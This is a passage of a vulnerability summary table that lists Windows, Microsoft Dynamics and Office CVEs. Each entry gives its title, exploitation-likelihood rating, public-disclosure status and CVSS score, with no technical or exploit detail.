CVE-2026-50685	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-49807	Windows DirectX Information Disclosure Vulnerability	Exploitation Less Likely	No	6.2
CVE-2026-49175	Windows DNS Client Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50426	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-50300	Windows DWM Core Library Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50437	Windows DWM Core Library Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-34348	Windows Event Logging Service Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50502	Windows Event Logging Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-33842	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-40422	Windows File Explorer Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-41087	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50473	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50442	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50389	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50456	Windows File Explorer Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-57084	Windows File Explorer Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-57091	Windows File History Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50405	Windows Filtering Platform Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49172	Windows FTP Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-50387	Windows GDI Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-54122	Windows GDI+ Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.4
CVE-2026-49796	Windows GDI+ Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50380	Windows GDI+ Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.6

CVE-2026-58609	Windows Graphics Component Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50391	Windows Group Policy Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50310	Windows Human Interface Device Information Disclosure Vulnerability	Exploitation Less Likely	No	4.7
CVE-2026-50485	Windows Hyper-V Denial of Service Vulnerability	Exploitation Less Likely	No	4.5
CVE-2026-54129	Windows Hyper-V Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50680	Windows Hyper-V Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-58534	Windows Input Method Editor (IME) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50490	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-58540	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50425	Windows Internal System User Profile Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50293	Windows Internal Task Bar Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49167	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	4.7
CVE-2026-54132	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-49795	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-49798	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	9.3
CVE-2026-50354	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-50332	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50377	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50390	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-50423	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50397	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50399	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50459	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50477	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50478	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50484	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50673	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58532	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50294	Windows Kernel Information Disclosure Vulnerability	Exploitation Less Likely	No	6.2
CVE-2026-50316	Windows Kernel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50419	Windows Kernel Information Disclosure Vulnerability	Exploitation Unlikely	No	3.3
CVE-2026-50463	Windows Kernel Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50475	Windows Kernel Information Disclosure Vulnerability	Exploitation More Likely	No	5.5
CVE-2026-50429	Windows Kernel Information Disclosure Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-58614	Windows Kernel Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-58545	Windows Kernel Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50378	Windows Key Guard Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50303	Windows Key Guard Security Feature Bypass Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-40378	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-49799	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50371	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50358	Windows Media Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50433	Windows Media Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-34349	Windows Media Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50394	Windows Media Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50415	Windows Media Information Disclosure Vulnerability	Exploitation Less Likely	No	5.3
CVE-2026-57083	Windows Media Photo Codec Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-54115	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50447	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-50505	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-58635	Windows Narrator Braille Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50500	Windows Netlogon Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50476	Windows Network Connections Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50450	Windows Network Connections Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56650	Windows Network File System Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56649	Windows Network File System Remote Code Execution Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-50470	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-50496	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-56194	Windows NFS Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56648	Windows NFS Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50337	Windows Notification Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49789	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-50412	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50422	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50672	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-56175	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56182	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50341	Windows NTFS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-58640	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-49184	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.4
CVE-2026-49797	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50308	Windows NTFS Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50386	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50309	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50313	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50388	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50448	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50471	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50461	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50417	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50482	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-50494	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50344	Windows OLE Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50686	Windows OLE Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-50335	Windows Operating Systems Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-54987	Windows Overlay Filter Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50435	Windows Overlay Filter Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50409	Windows Overlay Filter Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-40400	Windows PowerShell Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-55004	Windows Print Configuration Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50499	Windows Print Spooler Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50383	Windows Print Spooler Information Disclosure Vulnerability	Exploitation Less Likely	No	6.1
CVE-2026-57085	Windows Print Spooler Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-58608	Windows Print Spooler Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50469	Windows Projected File System Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50434	Windows Push Notification Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50339	Windows Push Notification Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50430	Windows Push Notification Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50334	Windows Push Notification Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50363	Windows Push Notifications Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50431	Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50372	Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-54982	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-54995	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-50666	Windows Remote Access Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-56647	Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50330	Windows Remote Desktop Client Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50376	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50504	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-58533	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-58535	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-58546	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-58539	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-55003	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-57979	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50445	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50497	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-54126	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-57982	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50369	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-58626	Windows Remote Desktop Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-50318	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50407	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50357	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50441	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50668	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-54109	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49792	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49793	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50362	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50492	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-58530	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49791	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-50451	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-57096	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50452	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50348	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-50410	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50449	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50460	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-50457	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50486	Windows Runtime Elevation of Privilege Vulnerability	N/A	No	7.8
CVE-2026-54125	Windows Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50373	Windows Search Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-44806	Windows Secure Channel Denial of Service Vulnerability	Exploitation Less Likely	No	5.3
CVE-2026-50681	Windows Secure Channel Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-56186	Windows Secure Channel Information Disclosure Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-42982	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50694	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-50367	Windows Sensor Data Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58619	Windows Sensor Data Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50311	Windows Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56188	Windows Server Network driver Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8

CVE-2026-50444	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50328	Windows Server Update Service (WSUS) Tampering Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-58531	Windows SMB Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.5
CVE-2026-54997	Windows SMB Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-49801	Windows SMB Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50690	Windows SMB Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-56168	Windows SMB Server Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-50360	Windows SMB Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-57089	Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-50333	Windows Spaceport.sys Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50298	Windows Spaceport.sys Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-49171	Windows Speech Runtime Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-49170	Windows StateRepository API Server file Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-58526	Windows Storage Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-50299	Windows Storage Spaces Direct Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-50306	Windows TCP/IP Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50307	Windows TCP/IP Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-49177	Windows TCP/IP Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-54999	Windows TCP/IP Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50669	Windows Telephony Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-54124	Windows Terminal Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50350	Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-50326	Windows Unified Consent System Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-49790	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-50498	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58547	Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-49794	Windows USB Audio Class Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-50453	Windows USB Audio Class Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	6.1
CVE-2026-58528	Windows USB Audio Class Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-50321	Windows USB Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-50479	Windows USB Hub Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49804	Windows USB Video Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.6
CVE-2026-49176	Windows WalletService Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-49800	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50480	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56173	Windows WebView Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-58632	Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-54107	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-54986	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-54112	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-54114	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-50670	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-50688	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-56176	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-58628	Windows Wireless Network Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50509	Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8

Microsoft Dynamics vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-55944	Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8

Microsoft Office vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-50678	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	6.6
CVE-2026-54988	Microsoft Excel Information Disclosure Vulnerability	Exploitation Unlikely	No	6.1
CVE-2026-48580	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50408	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55046	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55138	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55054	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-55122	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-55898	Microsoft Excel Information Disclosure Vulnerability	Exploitation Unlikely	No	6.1
CVE-2026-50675	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55899	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55948	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-58618	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-47642	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55024	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55025	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-55031	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55048	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55029	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55039	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55041	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55136	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-55141	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55036	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55044	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55037	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55058	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55137	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55053	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55131	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-54131	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55947	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55949	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56156	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56193	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-55023	Microsoft Office Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-55026	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	6.2
CVE-2026-55027	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55028	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55047	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55035	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55057	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55042	Microsoft Office Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-55139	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-50665	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56192	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-56195	Microsoft Office Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-55121	Microsoft Office Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-47290	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50301	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50314	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50467	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55017	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55018	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55022	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55125	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55045	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.4
CVE-2026-55049	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55129	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55056	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55140	Microsoft Office Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55133	Microsoft OneNote Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55043	Microsoft PowerPoint Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-55123	Microsoft PowerPoint Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
